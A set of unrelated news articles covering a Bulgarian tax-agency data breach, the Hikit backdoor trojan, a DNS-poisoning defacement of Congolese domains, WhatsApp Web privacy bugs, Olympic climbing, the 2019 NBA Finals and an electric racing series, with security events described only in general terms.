"Currently, e-services for citizens and businesses are functioning normally, with the exception of the VAT refund service paid abroad, as well as by the revenue office. Unregulated access to sensitive information is limited," the NRA said.
As consequences of the incident, Bulgaria's NRA tax agency is now facing a fine of up to 20 million euros ($22.43 million) or 4% of the agency's annual turnover over the data breach, said Prof. Veselin Tselkov, a member of the Commission for Personal Data Protection.
Suspected "White Hat" Hacker Arrested
Bulgarian police have also arrested a 20-year-old "white-hat hacker" as the main suspect for the NRA data breach after authorities raided his home and office in the capital Sofia and seized his computers containing encrypted data, according to a local media.
The arrested suspect, Christian Boykov, is a cybersecurity expert who has been training officers of the GCDPC for fighting organized cybercrime.
Boykov was in the news two years ago, when he found a vulnerability in the website of the Ministry of Education and Science (MES) and contacted "Lords of the Air," a popular TV show to tell the story only after the ministry ignored his initial disclosure.
After that incident, Boikov was hired as an ethical hacker by the global cybersecurity company "TAD Group," and at the moment of arrest, he was an employee of the company, where his job responsibility was to pentest the systems in the state agencies and private companies for potential vulnerabilities.
Since the investigation is still ongoing, at this moment, it's not clear if he is behind the NRA data breach. However, the Sofia City Prosecutor's Office accused Boykov of unauthorized access to a computer system that is part of the critical infrastructure of the state.
His lawyers say there is no evidence against the boy, but if proven guilty, Boikov—who has no past criminal record—could face up to 8 years in prison.
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Aomi Urban Sports Park, Tokyo (CNN)Aged 18, Alberto Ginés has just made two pieces of history at the Tokyo Olympics: he's the first person to be crowned a gold medalist in sports climbing, as well as Spain's youngest ever gold medal winner. The next foothold in his climbing career? "I'll go for another gold," he told reporters.Ginés secured victory in the men's combined final with 28 points as climbing's first medal-winning showdown at the Olympics came to a dramatic conclusion at the Aomi Urban Sports Park on Thursday.The podium positions shifted constantly throughout the lead event -- the last of three disciplines that were on display in Tokyo. The USA's Nathaniel Coleman ended the night in second place with 30 points, while Austria's Jakob Schubert, the only climber to top the lead wall, won a dramatic bronze with the final climb of the competition to finish on 35 points. Climbers were given points based on their standings over three events -- speed, bouldering and lead -- which were multiplied together to give a final score, the lower the better.Read MoreNathaniel Coleman, Alberto Ginés and Jakob Schubert pose with their medals. Ginés said having his "head in the right place," had been key to his success."During the past year, my head hasn't worked so well for me, since the beginning [of] the season, and I have been working with a specialist, and I think now I can control it (my nerves) a little bit more," he told reporters.Picturesque scene The sun setting behind the climbing wall, which was lit up against the night sky, made for a picturesque backdrop to the Olympics' first ever climbing final.Two stadium announcers, one speaking English and another Japanese, cheered and cajoled climbers as they took to the wall.Outside the venue, members of the public -- unable to attend Olympic events in Tokyo amid the pandemic -- lined the adjacent pedestrian street to try and catch a glimpse of the action. JUST WATCHEDJanja Garnbret: The making of a climbing superstarReplayMore Videos ...MUST WATCHJanja Garnbret: The making of a climbing superstar 03:37When the competition drew to a close after four-and-a-half hours, the three podium places had ultimately gone to the climbers who topped the standings in each discipline. Ginés' speed victory at the start of the night laid the foundations for his gold medal as he beat Japan's Tomoa Narasaki, who slipped at the bottom of the wall in their head-to-head race, with a time of 6.42 seconds. Coleman claimed a single point after being the only competitor to solve the second boulder, while Schubert grabbed bronze with a superb lead performance which drew the biggest cheers of the night. 'Pinnacle of excitement'Further down the overall standings, the Czech Republic's Adam Ondra finished in sixth despite being one of the favorites ahead of the final. Even with a strong performance in the lead, where he placed second, Ondra's six bouldering points proved costly when it came to his final tally."That's competition. Sometimes it works for you, sometimes it doesn't work for you," said Ginés. "Adam was one of the favorites, and today, it just wasn't a good day for him."The sun sets in Tokyo behind the Aomi Urban Sports Park.The women's combined final takes place on Friday as climbing's Olympic debut comes to a close. Among the climbers competing in the men's event, there were hopes that Thursday's final had been well-received."It was, in many ways, a fortunate final in the fact that the audience got to see how much the routesetting can affect competition," Coleman told reporters."The lead route was set perfectly. When a man (Schubert) tops it at the very last, that's the pinnacle of excitement in lead climbing competition."Ginés was similarly confident that the sport had delivered as a spectacle."I think our sport is very visual, so people really like it. I don't know how many viewers we might have had, but ... I'm very happy that it was on TV and people get to view our sport."
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Security researchers have revealed the existence of an advanced persistent threat that has been making the rounds since April 2011. Backdoor.Hikit is a dangerous backdoor Trojan that will damage infected system and files. Usually, Backdoor. Hikit will open backdoor to allow remote attackers to connect to the infected system and carry out harmful activities, such as stealing information or destroying files and programs.
It is really stubborn those antiviruses often fail to delete it for good, for it runs secretly and automatically when Windows boots without your knowledge or consent and can disguise it as fake system files or processes. Besides, many other threats, such as adware, redirecting virus, Trojan variants from family, such as Trojan Horse Generic 27.PN, BackDoor.Hupigon5.CJMY, Trojan.Zeroaccess.C, Trojan:win64/Sirefef.E and so on, which is really a threat to system and data security.
According to experts from security firm Symantec, it all starts with the unknown dropper which installs a DLL backdoor onto the compromised device. This backdoor then installs the driver component that allows the attacker to communicate with the infected computer.
Unlike many other pieces of malware, Hikit doesn't attempt to contact its command and control server once it infects a device. Instead, the kernel is designed to wait for the attacker to initiate communications, significantly reducing the threat's operational capabilities.
Backdoor.Hikit is compromised of four components:
Unknown dropper that compromises a system and installs a malicious dynamic-link library (DLL) file
DLL that implements back door functionality and installs a kernel driver
Kernel driver that monitors network traffic for connections from an attacker
Client tool that attackers use to connect to the back door
It is greatly possible that your online saved accounts and passwords, personal and financial information will be exposed and transfer to remote hackers, which will lead to identified thief. To secure your computer and keep it away from any threats, you must get rid of Backdoor.Hikit without any hesitation.
Symantec is continuing to investigate this threat and will provide more information when available.
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DNS cache poisoning attack on Google, Gmail, YouTube, Yahoo, Apple
Hacker with nickname AlpHaNiX deface Google, Gmail, Youtube, Yahoo, Apple etc domains of Democratic Republic of Congo. Hacker use strategy so-called DNS cache poisoning.
DNS cache poisoning is a security or data integrity compromise in the Domain Name System (DNS). The compromise occurs when data is introduced into a DNS name server's cache database that did not originate from authoritative DNS sources. It may be a deliberate attempt of a maliciously crafted attack on a name server.
Hacked websites are :
https://apple.cd/
https://yahoo.cd/
https://gmail.cd/
https://google.cd/
https://youtube.cd/
https://linux.cd/
https://samsung.cd/
https://hotmail.cd/
https://microsoft.cd/
[Source]
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(CNN)For someone who'd just lost on the biggest stage in the NBA, Stephen Curry seemed to be in good spirits.The Golden State Warriors' Curry was seen FaceTiming late Thursday with rapper and Toronto Raptors superfan Drake before leaving Oracle Arena in Oakland, California. "Congrats, bro," Curry could be heard saying to Drake. "Tough one. I hate seeing it."Enjoy it, man -- it's big time for you. You, the whole city, the whole, everybody. Y'all deserve it, man. Congrats.""Y'all deserve it man. Congrats."Steph talked to Drake on the phone before leaving the arena. (via @CloseUp360) pic.twitter.com/txSCVMoeGI— SportsCenter (@SportsCenter) June 14, 2019
Toronto defeated Golden State 114-110 in Game 6 of the 2019 NBA Finals.Read MoreDrake celebrates the Raptors' NBA championship with new musicThe loss ended the Warriors' quest to cement their dynasty with a three-peat after winning the last two NBA championships. It was also the Warriors last game at Oracle Arena before moving next season to the new Chase Center in San Francisco.While the game was close to the very end, the Warriors simply did not have enough firepower to overcome the Raptors.Klay Thompson tore his ACL late in the third quarter and couldn't return to the game, though he still managed to end up as the game's leading scorer with 30 points. He'd missed Game 3 with a left hamstring injury.The Warriors were also missing Kevin Durant. After a long absence, Durant played his first game in weeks in Game 5 of the series only to rupture his Achilles in the second quarter.The Toronto Raptors win Canada's first NBA championshipDurant is expected to opt out of his contract and become a free agent. Whether he re-signs with the Warriors or signs with a new team has been the focus of heavy speculation all season.While FaceTiming with Curry, Drake could be heard mentioning Durant."Yeah, I'm going to keep on it," Curry told Drake, apparently a reference to Curry's efforts to lobby Durant to re-sign with the Warriors.Despite his allegiance to the Raptors, Drake is close with both Curry and Durant, and he even has a tattoo with both of their jersey numbers on his arm.
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Story highlightsElectric GT unveils details of new motorsport championshipElectric Production Car Series will visit several top European circuitsOrganizers vow to contribute to sustainable travel (CNN)For the past four years, Formula E has dared to be different, forsaking petrol engines and taking motorsport to the people on street circuits. Now there's a new electric racing series in town. Follow @cnnsport
Details of the EGT Championship were unveiled Tuesday, with the inaugural season set to commence in the southern Spanish city of Jerez on November 3, 2018.Ten teams of two cars will traverse several top European circuits in a specially modified Tesla S, from Britain's iconic Silvertone to the legendary Nürburgrin in Germany.And organizers aren't afraid to buck the trend. Photos: California-based company, Electric GT has turned this 1978 Ferrari 308 GTS into an electric car. Hide Caption 1 of 11 Photos: A similar Ferrari 308 model became famous in the 1980s in the TV detective series, "Magnum P.I." starring Tom Selleck. Cue the theme music! Hide Caption 2 of 11 Photos: The car met a fiery end on a California highway according to it's restorer Eric Hutchison who says the car, if not regularly serviced, was prone to the fuel hose bursting. Hutchison picked up the wreck in a San Diego scrap yard for $10,000. Hide Caption 3 of 11 Photos: Hutchison and his friend and electric car restorer Michael Bream set about replacing the burned-out remains V8 engine and its four Weber carburetors with a electric motor.Hide Caption 4 of 11 Photos: The new triple electric motor sits in the position where the V8 originally sat. Hide Caption 5 of 11 Photos: The motors are powered by three batteries -- one at the front of the car and two at the back where the gas tanks used to sit.Hide Caption 6 of 11 Photos: The current battery capacity is 30 kilowatts but Hutchison says that capacity can be doubled. Hide Caption 7 of 11 Photos: The car currently has a range of 70-100 miles, Hutchison says. Hide Caption 8 of 11 Photos: Hutchison used a Porsche G50 5 speed gearbox in a "flipped mid-engine orientation." Manual gearboxes in EVs improve efficiency and performance, according to Electric GT.Hide Caption 9 of 11 Photos: Hutchison's 18-month restoration was followed by Ferrari enthusiasts in the online forum FerrariChat.com. "Several guys from the forum came to see the project and some even flew across the country. The support was awesome," Hutchison says.Hide Caption 10 of 11 Photos: Hutchison will be racing at the Re-Fuel Electric Car Races at the Laguna Seca Raceway in Monterey on May 22. "I love that I can drive a high performance Ferrari by charging it on my solar panels at home," Hutchison said. READ THE FULL STORY HERE Hide Caption 11 of 11Read MoreEach race weekend comprises a simultaneous electric karting series as well as an eSports competition.A "drift off" will even take place at suitable circuits, where the top two finishers and two fan-voted drivers will undertake a series of drifting challenges in a bid to win three further Championship points. Mark Gemmell, CEO of Electric GT Holdings, called it a "very exciting day" for everyone involved in the series. "Without a doubt, we have secured some of the most exciting European tracks for our first season of the Electric Production Car Series and this gives us a great platform to further expand the championship," said Gemmell. "We have received a great deal of interest from circuits around the world excited by the possibilities that electric racing brings. We've got lots more news to come very soon. I am stoked about the future, and we are all looking forward to bringing elbows-out electric racing action to fans around the world." READ: The world's first electric Ferrari is even faster than the originalREAD: Can motorsport still be exciting without human drivers?'Something spectacular'Each race weekend comprises a electric karting and eSports.Six of the electric GT drivers involved so far for season one are women -- among them racing driver, broadcaster and journalist, Rebecca Jackson.Electric Production Car Series -- Provisional CalendarPre-Race -- Circuit Pau Arnos, France (26-27 Oct 2018)Race 1 & 2 -- Circuito de Jerez, Spain (3-4 Nov 2018)Race 3 -- Circuit Paul Ricard, France (Feb/Mar 2019) TBARace 4 & 5 -- TBA (May 2019)Race 6 -- Nürburgring, Germany (29 Jun 2019)Race 7 -- Circuit Park Assen, Netherlands (20-21 Jul, 2019)Race 8 -- Silverstone, UK (Sept 2019) TBARace 9 -- TBA (Sept 2019)Race 10 -- Algarve Portimao Circuit, Portugal (12-13 Oct, 2019)Dates and locations subject to change by the FIA and other authorities"I truly believe that Electric GT will offer fans a thrilling racing championship but I am also excited by how convincingly it will deliver its core messages of sustainability," said Jackson. "I've driven the Electric GT car and I am impressed by its performance. I'm no stranger to all-electric road cars and this fully race-prepared machine is something spectacular to experience."While the teams and full championship calendar are yet to be finalized, we do know that the first season will feature identical Tesla Model S P100D machines, running on Pirelli tires with Alcon brakes.Rounds will consist of a 20-minute practice session, a one-hour qualifying heat , a day race and a dusk race. READ: Is the Formula E Gen 2 the race car of the future?Visit CNN.com/motorsport for more news and featuresThe FIA-sanctioned championship is zero-emission and, like Formula E, hopes to contribute to the future of sustainable technology.
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Last week, the most popular mobile messaging application WhatsApp finally arrived on the web — dubbed WhatsApp Web, but unfortunately it needs some improvements in its web version.
An independent 17-year-old security researcher Indrajeet Bhuyan reported two security holes in the WhatsApp web client that in some way exposes its users' privacy. Bhuyan called the first hole, WhatsApp photo privacy bug and the other WhatsApp Web Photo Sync Bug.
Bhuyan is the same security researcher who reported us the vulnerability in the widely popular mobile messaging app which allowed anyone to remotely crash WhatsApp by sending a specially crafted message of just 2kb in size, resulting in the loss of conversations.
Whatsapp Photo Privacy Bug
According to him, the new version of WhatsApp Web allows us to view a user's profile image even if we are not on the contact list of that user. Even if the user has set the profile image privacy setting to "Contacts Only," the profile picture can be viewed by out of contacts people as well.
Basically, if we set the profile image privacy to Contacts Only, only the people in our contact list are able to view our profile picture, and nobody else. But, this is not in the case of WhatsApp Web. You can watch how this works in the video demonstration below:
WhatsApp Web Photo Sync Bug
The second security hole points out the WhatsApp Web Photo Syncing functionality. Bhuyan noticed that whenever a user deletes a photo that was sent via the mobile version of WhatsApp application, the photo appears blurred and can't be viewed.
However, the same photo, which has already been deleted by the user from mobile WhatsApp version, can be accessible by Whatsapp Web as the photo does not get deleted from its web client, revealing the fact that mobile and web clients of the service are not synced properly. You can also watch the video demonstration on this as well:
This is no surprise, as WhatsApp Web introduced just a couple of days before and these small security and implementation flaws could be expected at this time, as well as some other bugs could also be revealed in the near future.
However, the company will surely fix the issues and will definitely make its users' messaging experience secure. As partnered with Open Whisper Systems, WhatsApp recently made end-to-end encryption a default feature on Android platform, stepping a way forward for the online privacy of its users around the world.
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